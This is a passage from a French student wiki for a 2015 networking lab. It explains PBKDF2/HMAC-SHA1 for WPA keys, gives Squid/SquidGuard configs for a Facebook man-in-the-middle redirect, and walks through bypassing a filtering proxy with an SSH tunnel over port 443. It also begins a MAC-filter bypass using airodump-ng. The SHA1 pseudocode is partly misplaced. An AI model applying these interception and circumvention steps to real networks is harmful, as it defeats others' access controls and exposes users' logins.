&amp;lt;/pre&amp;gt;&lt;br /&gt;
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:&lt;br /&gt;
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)&lt;br /&gt;
*[PASSWORD] Le mot de passe&lt;br /&gt;
*[SALT] Le salage  (ici l'ESSID)&lt;br /&gt;
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)&lt;br /&gt;
*[LEN] La longueur du résultat de la fonction (ici 256)&lt;br /&gt;
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Où les &amp;quot;Un&amp;quot; sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))&lt;br /&gt;
U2 = PRF(PASSWORD, U1)&lt;br /&gt;
...&lt;br /&gt;
Uc = PRF(PASSWORD, Ucount-1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:&lt;br /&gt;
*[KEY] la clé utilisée pour encoder le message&lt;br /&gt;
*[MSG] le message à encoder&lt;br /&gt;
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)&lt;br /&gt;
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)&lt;br /&gt;
Le principe de fonctionnement est le suivant:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function HMAC(KEY, MSG, H, HLEN)&lt;br /&gt;
    if(length(KEY) &amp;gt; HLEN)&lt;br /&gt;
        KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H&lt;br /&gt;
    if(length(KEY) &amp;lt; HLEN)&lt;br /&gt;
        KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))&lt;br /&gt;
&lt;br /&gt;
    opad_key = (opad * HLEN) ^ KEY;&lt;br /&gt;
    ipad_key = (ipad * HLEN) ^ KEY;&lt;br /&gt;
&lt;br /&gt;
    return H(opad_key || H(ipad_key || MSG)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans cette fonction:&lt;br /&gt;
*L'opérateur || désigne la concaténation directe tel que &amp;quot;J'aime le&amp;quot;||&amp;quot; poulet&amp;quot; est égale à &amp;quot;J'aime le poulet&amp;quot;&lt;br /&gt;
*L'opérateur * désigne la répétition de l'élément tel que &amp;quot;J&amp;quot;*4 est égale à &amp;quot;JJJJ&amp;quot;&lt;br /&gt;
*L'opérateur ^ désigne l'opérateur XOR logique&lt;br /&gt;
*La variable opad est une constance valant 0x5C&lt;br /&gt;
*La variable ipad est une constance valant 0x36&lt;br /&gt;
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function SHA1(PASS)&lt;br /&gt;
    h0 = 0x67452301&lt;br /&gt;
    h1 = 0xEFCDAB89&lt;br /&gt;
    h2 = 0x98BADCFE&lt;br /&gt;
    h3 = 0x10325476&lt;br /&gt;
    h4 = 0xC3D2E1F0&lt;br /&gt;
    ml = message length in bits (always a multiple of the number of bits in a character).&lt;br /&gt;
&lt;br /&gt;
    append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.&lt;br /&gt;
    append 0 ≤ k &amp;lt; 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)&lt;br /&gt;
    append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.&lt;br /&gt;
&lt;br /&gt;
    break message into 512-bit chunks&lt;br /&gt;
    for each chunk&lt;br /&gt;
        break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15&lt;br /&gt;
&lt;br /&gt;
        //Extend the sixteen 32-bit words into eighty 32-bit words:&lt;br /&gt;
        for i from 16 to 79&lt;br /&gt;
            w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1&lt;br /&gt;
&lt;br /&gt;
        //Initialize hash value for this chunk:&lt;br /&gt;
        a = h0&lt;br /&gt;
        b = h1&lt;br /&gt;
        c = h2&lt;br /&gt;
        d = h3&lt;br /&gt;
        e = h4&lt;br /&gt;
&lt;br /&gt;
        //Main loop&lt;br /&gt;
        for i from 0 to 79&lt;br /&gt;
            if 0 ≤ i ≤ 19 then&lt;br /&gt;
                f = (b and c) or ((not b) and d)&lt;br /&gt;
                k = 0x5A827999&lt;br /&gt;
            else if 20 ≤ i ≤ 39&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0x6ED9EBA1&lt;br /&gt;
            else if 40 ≤ i ≤ 59&lt;br /&gt;
                f = (b and c) or (b and d) or (c and d) &lt;br /&gt;
                k = 0x8F1BBCDC&lt;br /&gt;
            else if 60 ≤ i ≤ 79&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0xCA62C1D6&lt;br /&gt;
&lt;br /&gt;
            temp = (a leftrotate 5) + f + e + k + w[i]&lt;br /&gt;
            e = d&lt;br /&gt;
            d = c&lt;br /&gt;
            c = b leftrotate 30&lt;br /&gt;
            b = a&lt;br /&gt;
            a = temp&lt;br /&gt;
&lt;br /&gt;
            //Add this chunk's hash to result so far:&lt;br /&gt;
            h0 = h0 + a&lt;br /&gt;
            h1 = h1 + b &lt;br /&gt;
            h2 = h2 + c&lt;br /&gt;
            h3 = h3 + d&lt;br /&gt;
            h4 = h4 + e&lt;br /&gt;
&lt;br /&gt;
            //Produce the final hash value (big-endian) as a 160 bit number:&lt;br /&gt;
            hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Attaque Man In the Middle de Facebook===&lt;br /&gt;
Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.&lt;br /&gt;
&lt;br /&gt;
Config Squid&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
acl allowedips src 172.16.1.0/24&lt;br /&gt;
http_access allow allowedips&lt;br /&gt;
forwarded_for off&lt;br /&gt;
http_access deny all&lt;br /&gt;
cache_access_log /var/log/squid3/access.log&lt;br /&gt;
cache_log /var/log/squid3/cache.log&lt;br /&gt;
cache_store_log /var/log/squid3/store.log&lt;br /&gt;
cache_dir ufs /var/spool/squid3 100 16 256&lt;br /&gt;
cache_mem 16 MB&lt;br /&gt;
maximum_object_size 15 MB&lt;br /&gt;
http_port 3128&lt;br /&gt;
cache_effective_group root&lt;br /&gt;
url_rewrite_program /usr/bin/squidGuard&lt;br /&gt;
shutdown_lifetime 1 second&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Config Squidguard&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dbhome /usr/local/squidGuard/db&lt;br /&gt;
&lt;br /&gt;
dest fb-login {&lt;br /&gt;
    urllist     facebook/url&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
acl {&lt;br /&gt;
    default {&lt;br /&gt;
       pass !fb-login all&lt;br /&gt;
       redirect http://127.0.0.1/&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
cat /usr/local/squidGuard/db/facebook/url&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
fr-fr.facebook.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Contournement d'un proxy===&lt;br /&gt;
Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition &amp;quot;La nuit de l'info&amp;quot;, nous avons été amené à réaliser un dispositif permettant une accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécesasires.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install openssh-server proxytunnel isc-dhcp-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# vim /root/.ssh/config&lt;br /&gt;
Host perfectTunnel&lt;br /&gt;
        Hostname ADRESSE_IP_DE_NOTRE_SERVEUR&lt;br /&gt;
        User root&lt;br /&gt;
        Port 443&lt;br /&gt;
        ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous créons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ssh \&lt;br /&gt;
  -o PermitLocalCommand=yes \&lt;br /&gt;
  -o LocalCommand=&amp;quot;ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0&amp;quot; \&lt;br /&gt;
  -o ServerAliveInterval=60 \&lt;br /&gt;
  -w 5:5 perfectTunnel \&lt;br /&gt;
  'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ping -I tun5 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data.&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
3 packets transmitted, 3 received, 0% packet loss, time 2002ms&lt;br /&gt;
rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# route del default&lt;br /&gt;
# route add default gw 12.24.48.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
4 packets transmitted, 4 received, 0% packet loss, time 3004ms&lt;br /&gt;
rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# vim /etc/default/isc-dhcp-server&lt;br /&gt;
INTERFACES=&amp;quot;eth0&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# vim /etc/dhcp/dhcpd.conf&lt;br /&gt;
subnet 118.218.0.0 netmask 255.255.0.0 {&lt;br /&gt;
        range 118.218.1.1 118.218.254.254;&lt;br /&gt;
        option routers 118.218.0.1;&lt;br /&gt;
        option subnet-mask 255.255.0.0;&lt;br /&gt;
        option broadcast-address 118.218.255.255;&lt;br /&gt;
        option domain-name-servers 8.8.8.8, 8.8.4.4;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
authoritative;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT&lt;br /&gt;
iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT&lt;br /&gt;
iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== La partie bonus ==&lt;br /&gt;
&lt;br /&gt;
Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation de l'écran LCD ===&lt;br /&gt;
&lt;br /&gt;
Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.&lt;br /&gt;
 &lt;br /&gt;
Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.&lt;br /&gt;
&lt;br /&gt;
Voici à quoi ressemble une de nos lettres :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
const char	letter_A[] PROGMEM = {&lt;br /&gt;
	0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,&lt;br /&gt;
	0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,&lt;br /&gt;
	0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,&lt;br /&gt;
	0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.&lt;br /&gt;
&lt;br /&gt;
Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation du lecteur de carte SD ===&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.&lt;br /&gt;
&lt;br /&gt;
Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Communication avec le matériel Cisco ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ciscoChecker.png|200px|thumb|left]]Afin de pouvoir tester le réseau, notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisant la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol ([https://www.amphenolcanada.com/ProductSearch/drawings/AC/RJHSE508X.pdf dont la documentation est disponible ici]). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.&lt;br /&gt;
&lt;br /&gt;
Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons testé la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothèses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé sera mené sur la carte.&lt;br /&gt;
&lt;br /&gt;
=== Réalisation du code pour les appareil Cisco ===&lt;br /&gt;
&lt;br /&gt;
Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
show interfaces status | include INAME\ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui repond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche &amp;quot;entrée&amp;quot; possède sa propre liste de connections sur la SD, et ceci en correspondance avec la cablage que nous avons effectué dans le début de notre projet.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=24252</id>
		<title>PRA 2015 - Câblage d'un réseau redondant</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=24252"/>
				<updated>2015-12-10T09:40:41Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.&lt;br /&gt;
== Câblage du résau ==&lt;br /&gt;
=== Le réseau idéal ===&lt;br /&gt;
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Idéal.png]]&lt;br /&gt;
&lt;br /&gt;
Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.&lt;br /&gt;
&lt;br /&gt;
=== L'avancement du cablage du réseau ===&lt;br /&gt;
&lt;br /&gt;
L'image suivante détaille l'état du réseau avant le 07/10/2015.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Temporaire.png]]&lt;br /&gt;
&lt;br /&gt;
Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.&lt;br /&gt;
&lt;br /&gt;
== La partie commune ==&lt;br /&gt;
=== Création d'un site Web haute disponibilité ===&lt;br /&gt;
==== Installation de la machine virtuelle ====&lt;br /&gt;
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée &amp;quot;kwak&amp;quot;. Notre hôte est un serveur Xen 3.0.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/xen/kwak.cfg&lt;br /&gt;
kernel      = '/boot/vmlinuz-3.14-2-amd64'&lt;br /&gt;
extra       = 'elevator=noop'&lt;br /&gt;
ramdisk     = '/boot/initrd.img-3.14-2-amd64'&lt;br /&gt;
vcpus       = '1'&lt;br /&gt;
memory      = '512'&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
name        = 'kwak'&lt;br /&gt;
vif         = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ]&lt;br /&gt;
on_poweroff = 'destroy'&lt;br /&gt;
on_reboot   = 'restart'&lt;br /&gt;
on_crash    = 'restart'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous démarrons notre machine virtuelle.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# xl create /etc/xen/kwak.cfg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# xl console kwak&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous installons les services dont nous allons avoir besoin par la suite.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install apache2 bind&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Mise en place du service web ====&lt;br /&gt;
Pour réaliser notre site web, nous avons commencé par créer une page web basée sur notre nom de domaine: [http://pinkfluffyunicorn.lol pinkfluffyunicorn.lol]&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;script src=&amp;quot;https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;iframe style=&amp;quot;position:absolute;top:0px;left:0px;&amp;quot; id=&amp;quot;video&amp;quot; src=&amp;quot;https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&amp;amp;showinfo=0&amp;amp;showsearch=0&amp;amp;iv_load_policy=3&amp;amp;autoplay=1&amp;quot; frameborder=&amp;quot;0&amp;quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
  &amp;lt;script&amp;gt;&lt;br /&gt;
        $(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });&lt;br /&gt;
          $(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });});&lt;br /&gt;
        });&lt;br /&gt;
        &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tests de sécurisation de réseaux WiFi ===&lt;br /&gt;
==== Accès par filtrage MAC ====&lt;br /&gt;
Nous avons commencé par effectuer une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisée sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng start wlan0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons surveillé le réseau WiFi, nommé &amp;quot;baguette&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26&lt;br /&gt;
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -63        9        0    0   4  54e. OPN              baguette&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On spécifie alors le canal et le BSSID à utiliser pour plus de précision.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH  4 ][ Elapsed: 18 s ][ 2015-10-22 13:29                                           &lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -52 100      146        1    0   4  54e. OPN              baguette                                                                                                               &lt;br /&gt;
&lt;br /&gt;
